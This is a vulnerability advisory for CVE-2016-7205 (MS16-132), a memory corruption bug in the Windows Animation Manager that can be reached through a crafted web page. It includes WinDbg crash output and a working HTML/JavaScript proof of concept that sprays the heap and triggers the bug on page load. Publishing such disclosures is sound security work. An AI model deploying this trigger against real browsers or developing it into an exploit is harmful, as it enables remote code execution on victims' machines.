security-assessment.com

Vulnerability Advisory

Name	Microsoft Windows Animation Manager Memory Corruption Vulnerability (MS16-132)
CVE	CVE-2016-7205
Vendor Website	http://www.microsoft.com/
Date Released	09/11/2016
Affected Software	Microsoft Windows 7 Microsoft Windows 8 Microsoft Windows 8.1 Microsoft Windows RT 8.1 Microsoft Windows 10 Microsoft Windows Server 2008 Microsoft Windows Server 2008 R2 Microsoft Windows Server 2012 Microsoft Windows Server 2012 R2 Microsoft Windows Server 2016
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Windows Animation Manager which allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(ee0.e00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0b7eaef8 ebx=03cb8ef8 ecx=03cb8ef8 edx=08d49ef0 esi=007c9fc0 edi=05aac2e8
eip=6f96f0d4 esp=05aac25c ebp=05aac2bc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
UIAnimation!UI::Animation2::CManager::StoryboardLoopIterationChanged+0x20:
6f96f0d4 894834          mov     dword ptr [eax+34h],ecx ds:0023:0b7eaf2c=????????
1:018> k
ChildEBP RetAddr
05aac258 6f973ec7 UIAnimation!UI::Animation2::CManager::StoryboardLoopIterationChanged+0x20
05aac2bc 6f978627
UIAnimation!UI::Animation2::CStoryboard::LocalTimeFromStoryboardTime+0x209
05aac328 6f976d00 UIAnimation!UI::Animation2::CVariableTracker::Update+0x71
05aac37c 6f973114 UIAnimation!UI::Animation2::CVariable::Update+0x23c
05aac3a8 6f97093f UIAnimation!UI::Animation2::CStoryboard::Update+0x42
05aac438 6f970600 UIAnimation!UI::Animation2::CManager::UpdateCore+0x1f0
05aac470 6f96da19 UIAnimation!UI::Animation2::CManager::UpdateInstrumented+0x222
05aac4a8 6a03486a UIAnimation!UI::Animation2::CManager::Update+0x5a
05aac4d4 6a034566 MSHTML!CAnimationManager::Update+0x5c
05aac4e8 69e93a7c MSHTML!CAnimationManager::OnTimer+0x22
05aac548 69e14a42 MSHTML!CPaintBeat::ProcessTimers+0x3d2
05aac58c 69fefefc MSHTML!CPaintBeat::OnBeat+0x348
05aac5ac 69fefea3 MSHTML!CPaintBeat::OnPaintTimer+0x48
05aac5c8 69e14dcb MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb
05aac628 69ded10a MSHTML!GlobalWndOnPaintPriorityMethodCall+0x16c
05aac678 75dcc4b7 MSHTML!GlobalWndProc+0x123
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html>
<head>
<script>
function boom() {
var strarr = new Array();
var arrarr = new Array();
var sprayarr = new Array();

function spray() {
 var aa = "aa";
 for(var i=0;i<50000;i++) {
   strarr[i] = aa.toUpperCase();
   arrarr[i] = new Array(1,2,3,4,5);
 }

 for(var i=0;i<2000;i++) {
   var tmparr = new Array(16000);
   for(var j=0;j<16000;j++) {
     tmparr[j] = strarr[25000];
   }
   sprayarr[i] = tmparr;
 }
}

//Need to pressure memory to trigger?
spray()

//Set style to free
document.getElementById("el1").style.float = 'right'
document.getElementById("el1").style.transitionDuration = '1s'
document.getElementById("el1").style.perspectiveOrigin = '+1.0e+100vh 1em'
```

```
//Trigger crash
setTimeout(function(){try{document.body.innerHTML += "a"}catch(e){};}, 100)}
</script>
</head>
<body onload="setTimeout('boom()', 500)">
<span id="el1" ></span>
<progress></progress>
<p style="transform: translateY(1) scale(1,1) skew(1deg,1deg) scaleY(1)"></p>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS16-132) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com